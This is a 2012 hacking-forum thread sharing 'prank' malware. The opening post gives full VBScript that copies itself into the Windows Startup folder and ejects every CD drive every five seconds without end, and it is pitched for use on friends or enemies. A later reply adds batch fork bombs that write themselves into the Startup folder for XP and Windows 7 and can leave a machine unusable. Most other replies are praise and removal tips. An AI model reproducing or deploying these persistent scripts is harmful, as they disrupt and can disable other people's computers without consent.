Author Topic: Unstoppable CD-ROM ejection Attack  (Read 3749 times)

0 Members and 1 Guest are viewing this topic.

Offline Infinityexists

  • Peasant
  • *
  • Posts: 74
  • Cookies: 1
    • View Profile
Unstoppable CD-ROM ejection Attack
« on: April 10, 2012, 03:28:21 pm »
This awesome hack continually pops out anyone's CD-ROM if they intentionally/non-intentionally execute the script, this is  the perfect way to prank your friends or to tease your enemy :D


coded by me in VBScript,
simply copy/paste the code into a new notepad file and save it  script.vbs extension and enjoy the Fun


Code: [Select]
'Coded by: Sufyan Ghori
'https://www.facebook.com/XuFyaN


Set obj1 = CreateObject("WMPlayer.OCX.7")
Set obj2 = obj1.cdromCollection
Set shell1 = CreateObject("WScript.Shell")
Set oShell = CreateObject("Shell.Application")
Set startupFolder = oShell.NameSpace(ssfSTARTUP)
set filesys=CreateObject("Scripting.FileSystemObject")
Const ssfSTARTUP = &H7




If Not startupFolder Is Nothing Then
  tempPath = startupFolder.Self.Path
End If


If Not filesys.FileExists(tempPath & "\script.vbs") Then
   shell1.Run "%COMSPEC%"
   WScript.sleep 500
   shell1.SendKeys  "CD\" & vbCRLF & "copy " & shell1.CurrentDirectory & "\script.vbs " & """" & tempPath & """" & " /y"  & vbCRLF
   shell1.SendKeys "exit " & vbCRLF
End If


do
   if obj2.Count >= 1 then
      For i = 0 to obj2.Count - 1
      obj2.Item(i).Eject
      Next
      For i = 0 to obj2.Count - 1
      obj2.Item(i).Eject
      Next
   End If
   wscript.sleep 5000
loop


Disabling the script,
http://xufyan.com/2012/04/04/continually-pop-out-cd-rom-even-if-the-pc-restarts/



- Thankyou

Sufyan Ghori
« Last Edit: April 10, 2012, 04:04:06 pm by Infinityexists »

Offline Zesh

  • Royal Highness
  • ****
  • Posts: 699
  • Cookies: 42
    • View Profile
Re: Unstoppable CD-ROM ejection Attack
« Reply #1 on: April 10, 2012, 06:56:31 pm »
Aha, the fun old days :P I'm sure I still have my VBS folder laying around somewhere.

Offline techb

  • Soy Sauce Feeler
  • Global Moderator
  • King
  • *
  • Posts: 2350
  • Cookies: 345
  • Aliens do in fact wear hats.
    • View Profile
    • github
Re: Unstoppable CD-ROM ejection Attack
« Reply #2 on: April 10, 2012, 07:37:58 pm »
Didn't you already post that in this thread?
>>>import this
-----------------------------

Offline Infinityexists

  • Peasant
  • *
  • Posts: 74
  • Cookies: 1
    • View Profile
Re: Unstoppable CD-ROM ejection Attack
« Reply #3 on: April 10, 2012, 08:02:19 pm »
Didn't you already post that in this thread?


No ! i didn't :) you should have a look again :) that was the script that just Eject CD-Rom until the user restart the computer ;) but this one is more advanced




Offline Cynet

  • /dev/null
  • *
  • Posts: 16
  • Cookies: -9
    • View Profile
Re: Unstoppable CD-ROM ejection Attack
« Reply #4 on: April 17, 2012, 11:46:54 am »
"Unstoppable CD-ROM ejection Attack"
 
*Opens Task Manager*
*Closes CD Drive Task*
 
Stopped.
=P
I didn't do it, that program did.

Offline jubayernil

  • NULL
  • Posts: 1
  • Cookies: 0
    • View Profile
Re: Unstoppable CD-ROM ejection Attack
« Reply #5 on: April 22, 2012, 10:29:50 pm »
I just want to stop CD-ROM eject.......please help me.

Offline Kulverstukas

  • Administrator
  • Zeus
  • *
  • Posts: 6627
  • Cookies: 542
  • Fascist dictator
    • View Profile
    • My blog
Re: Unstoppable CD-ROM ejection Attack
« Reply #6 on: April 23, 2012, 11:02:56 am »
I just want to stop CD-ROM eject.......please help me.
Do what the above post said lol.

Offline Infinityexists

  • Peasant
  • *
  • Posts: 74
  • Cookies: 1
    • View Profile
Re: Unstoppable CD-ROM ejection Attack
« Reply #7 on: April 23, 2012, 12:15:55 pm »
I just want to stop CD-ROM eject.......please help me.


go to the startup directory of your windows , most probably you'll find it in Start menu, \
and delete script.vbs file from there, if you couldn't find the script.vbs file from start menu then search it in your C:/ drive and then delete it

Offline helios

  • /dev/null
  • *
  • Posts: 9
  • Cookies: 0
    • View Profile
Re: Unstoppable CD-ROM ejection Attack
« Reply #8 on: April 23, 2012, 04:46:05 pm »
This works great, I just tried it. Simple, clean, and easy fix. Fun to give to your friends or family to mess around with them.

I lol'd at jubayernil's post.
/helios

Offline iTpHo3NiX

  • EZ's Pirate Captain
  • Administrator
  • Titan
  • *
  • Posts: 2920
  • Cookies: 328
    • View Profile
    • EvilZone
Re: Unstoppable CD-ROM ejection Attack
« Reply #9 on: April 23, 2012, 07:12:07 pm »
I remember doing a combination of batch and vbs pranks, even compiled them as EXE's very fun to do...

How my pranks worked:

1. Create batch file to do anything (for example lets say a fork bomb)
In batch it would look like this:

Code: [Select]
@echo off
:START
start a.bat
GOTO START

So what I would do INSTEAD (Win7 version):

Code: [Select]
@echo off > %allusersprofile%\Microsoft\Windows\Start Menu\Programs\Startup\a.bat
:START >> %allusersprofile%\Microsoft\Windows\Start Menu\Programs\Startup\a.bat
start a.bat >> %allusersprofile%\Microsoft\Windows\Start Menu\Programs\Startup\a.bat
GOTO START >> %allusersprofile%\Microsoft\Windows\Start Menu\Programs\Startup\a.bat

I would also use batch to create a VBS into start file. You can make it a little bit more intricate to make it cross platform (get which os then do a GOTO and label command for their specific operating system so if they do it on XP, Vista, 7, it doesn't matter ;)

Code: [Select]
@echo off
ver | find "XP" > nul
if %ERRORLEVEL% == 0 goto winxp

echo %vers% | find "Windows 7" > nul
if %ERRORLEVEL% == 0 goto win7


:winXP
@echo off > %AllUsers%\Start Menu\Programs\Startup\a.bat
:STARTXP >> %AllUsers%\Start Menu\Programs\Startup\a.bat
start a.bat >> %AllUsers%\Start Menu\Programs\Startup\a.bat
GOTO STARTXP >> %AllUsers%\Start Menu\Programs\Startup\a.bat

:Win7
@echo off > %allusersprofile%\Microsoft\Windows\Start Menu\Programs\Startup\a.bat
:START7 >> %allusersprofile%\Microsoft\Windows\Start Menu\Programs\Startup\a.bat
start a.bat >> %allusersprofile%\Microsoft\Windows\Start Menu\Programs\Startup\a.bat
GOTO START7 >> %allusersprofile%\Microsoft\Windows\Start Menu\Programs\Startup\a.bat

It would look something like that.. Can't remember its been a while ;)

NOTE:
If you run this batch file a bunch of cmd windows will open, if you run Windows 7 and you run the one that creates itself in startup, be sure to remove the file in startup first, otherwise you will need a live OS to fix it! (by simply deleting it)
« Last Edit: April 23, 2012, 07:25:52 pm by iTpHo3NiX »
[09:27] (+lenoch) iTpHo3NiX can even manipulate me to suck dick
[09:27] (+lenoch) oh no that's voluntary
[09:27] (+lenoch) sorry

Offline Infinityexists

  • Peasant
  • *
  • Posts: 74
  • Cookies: 1
    • View Profile
Re: Unstoppable CD-ROM ejection Attack
« Reply #10 on: April 25, 2012, 04:23:16 pm »
This works great, I just tried it. Simple, clean, and easy fix. Fun to give to your friends or family to mess around with them.

I lol'd at jubayernil's post.


I'm glad that people are actually using my Script :)


@iTpHo3NiX:


your code seems so cool :)
there are few clever techniques that could come handy too , I've copied it into my collection.
P.S: Thanks a lot for considering replying into my thread with such a useful stuff :)
« Last Edit: April 29, 2012, 12:19:51 am by Infinityexists »

Offline arvin109

  • NULL
  • Posts: 1
  • Cookies: 0
    • View Profile
Re: Unstoppable CD-ROM ejection Attack
« Reply #11 on: April 29, 2012, 12:17:27 am »
thanks so much for this source code..btw how did you learn all of those? i even watched your video on youtube and its very nice..im just a noobie and would love to learn from you, I also added you on Facebook. :)